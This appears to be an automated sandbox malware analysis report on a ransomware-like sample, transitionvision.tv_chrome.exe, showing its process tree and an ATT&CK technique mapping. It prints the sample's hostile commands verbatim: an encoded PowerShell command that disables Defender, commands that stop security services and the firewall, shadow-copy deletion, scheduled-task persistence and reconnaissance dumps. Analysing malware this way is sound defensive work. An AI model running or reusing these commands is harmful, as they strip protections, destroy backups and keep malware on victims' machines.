PID 4632 wrote to memory of 5564	4632	transitionvision.tv_chrome.exe	115
PID 4632 wrote to memory of 5076	4632	transitionvision.tv_chrome.exe	117
PID 4632 wrote to memory of 1900	4632	transitionvision.tv_chrome.exe	118
PID 5076 wrote to memory of 5828	5076	fodhelper.exe	170
PID 4632 wrote to memory of 4284	4632	transitionvision.tv_chrome.exe	120
PID 4632 wrote to memory of 3944	4632	transitionvision.tv_chrome.exe	123
PID 4632 wrote to memory of 832	4632	transitionvision.tv_chrome.exe	125
PID 4632 wrote to memory of 1992	4632	transitionvision.tv_chrome.exe	132
PID 4632 wrote to memory of 5736	4632	transitionvision.tv_chrome.exe	133
PID 4632 wrote to memory of 4704	4632	transitionvision.tv_chrome.exe	136
PID 4632 wrote to memory of 908	4632	transitionvision.tv_chrome.exe	140
PID 4632 wrote to memory of 5980	4632	transitionvision.tv_chrome.exe	142
PID 4632 wrote to memory of 1932	4632	transitionvision.tv_chrome.exe	143
PID 4632 wrote to memory of 4120	4632	transitionvision.tv_chrome.exe	144
PID 4632 wrote to memory of 4636	4632	transitionvision.tv_chrome.exe	145
PID 4632 wrote to memory of 3272	4632	transitionvision.tv_chrome.exe	146
PID 4632 wrote to memory of 5900	4632	transitionvision.tv_chrome.exe	147
PID 4632 wrote to memory of 5576	4632	transitionvision.tv_chrome.exe	154
PID 4632 wrote to memory of 400	4632	transitionvision.tv_chrome.exe	156
PID 4632 wrote to memory of 760	4632	transitionvision.tv_chrome.exe	157
PID 5980 wrote to memory of 4572	5980	cmd.exe	158
PID 908 wrote to memory of 3076	908	cmd.exe	159
PID 4120 wrote to memory of 724	4120	cmd.exe	160
PID 4636 wrote to memory of 6056	4636	cmd.exe	161
PID 3272 wrote to memory of 3740	3272	cmd.exe	162
PID 5900 wrote to memory of 5784	5900	cmd.exe	163
PID 1932 wrote to memory of 4176	1932	cmd.exe	164
PID 6056 wrote to memory of 6112	6056	net.exe	165
PID 4632 wrote to memory of 2376	4632	transitionvision.tv_chrome.exe	181
PID 4632 wrote to memory of 5496	4632	transitionvision.tv_chrome.exe	167
PID 4632 wrote to memory of 4104	4632	transitionvision.tv_chrome.exe	168
PID 4632 wrote to memory of 2756	4632	transitionvision.tv_chrome.exe	169
PID 4632 wrote to memory of 5828	4632	transitionvision.tv_chrome.exe	170
PID 4632 wrote to memory of 4308	4632	transitionvision.tv_chrome.exe	171
PID 4104 wrote to memory of 4396	4104	net.exe	178
PID 908 wrote to memory of 4952	908	cmd.exe	179
PID 3400 wrote to memory of 2376	3400	chrome.exe	181
PID 3400 wrote to memory of 4784	3400	chrome.exe	182
PID 3400 wrote to memory of 4784	3400	chrome.exe	182
PID 3400 wrote to memory of 1148	3400	chrome.exe	183
PID 3400 wrote to memory of 1148	3400	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://transitionvision.tv
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8bd66c728,0x7ff8bd66c734,0x7ff8bd66c740
    3⤵
    PID:4128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,6160878655634795454,2580544151792034849,262144 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:4144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,6624675278158490517,18348230954557415832,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4624
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2288,i,17227675655376263851,6494363460043073618,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:13
    3⤵
    PID:4468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3108,i,13321530720449538995,13500241669869577101,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:1
    3⤵
    PID:1936
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,7927362887390283785,2138471707553836577,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
    3⤵
    PID:1148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4560,i,7200524850182454187,1506209029123985926,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:14
    3⤵
    PID:5760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4820,i,3233537625528689682,15399449018577117315,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:1
    3⤵
    PID:4880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3296,i,5368670312641589691,9278900144334557563,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:14
    3⤵
    PID:2376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5400,i,1860654669218852474,11080274664051581344,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:1
    3⤵
    PID:4784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5472,i,11858963555382513625,16549987981823857280,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:1
    3⤵
    PID:1148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5756,i,13293439607556295998,17502457476982697243,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
    3⤵
    PID:2268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5628,i,4695450338460389912,14928523885631552413,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:1
    3⤵
    PID:4924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5812,i,2047717399043796198,167085207879477369,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=3280 /prefetch:14
    3⤵
    PID:1968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5724,i,50584593095504836,3419922466541123545,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:1
    3⤵
    PID:4904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5820,i,17059002741227827223,17140161557145242895,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
    3⤵
    PID:3812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3296,i,882610792489386934,6229725078771760765,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:14
    3⤵
    PID:4984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5596,i,3547654526565115104,12487779048721880980,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:1
    3⤵
    PID:1260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=3408,i,10083448554813370098,4696213767321377564,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:1
    3⤵
    PID:5044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3424,i,5451127463084583912,2775474436431610061,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:14
    3⤵
    PID:3804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5440,i,17600007089239371156,10290895134972018746,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
    3⤵
    PID:344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5524,i,6886319174488388160,11138398618174396222,2097152 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:9
    3⤵
    PID:4940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6152,i,16902504749743989919,3946315216069024532,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
    3⤵
    PID:3432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6016,i,11015896063561924067,12288541142128111402,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:14
    3⤵
    PID:2976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5864,i,7212053155798852374,13155758166128711367,524288 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:14
    3⤵
    PID:3960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4852,i,5469656698391217087,18042006758441489072,262144 --field-trial-handle=1912,i,1639239373565450460,16486768577603699376,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:10
    3⤵
    PID:3560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2268
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4160
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1360
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:636
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:6048
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5564
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe"
    3⤵
    PID:5828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1900
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4284
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3944
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:832
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1992
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5736
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3076
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5980
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4176
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6056
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:6112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5900
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5784
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5576
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:400
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:760
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2376
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5496
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4396
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2756
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4308

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2696

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1828

C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe
C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe
1⤵
PID:2480

C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe
C:\Users\Admin\AppData\Local\Temp\transitionvision.tv_chrome.exe
1⤵
PID:3952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4592

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery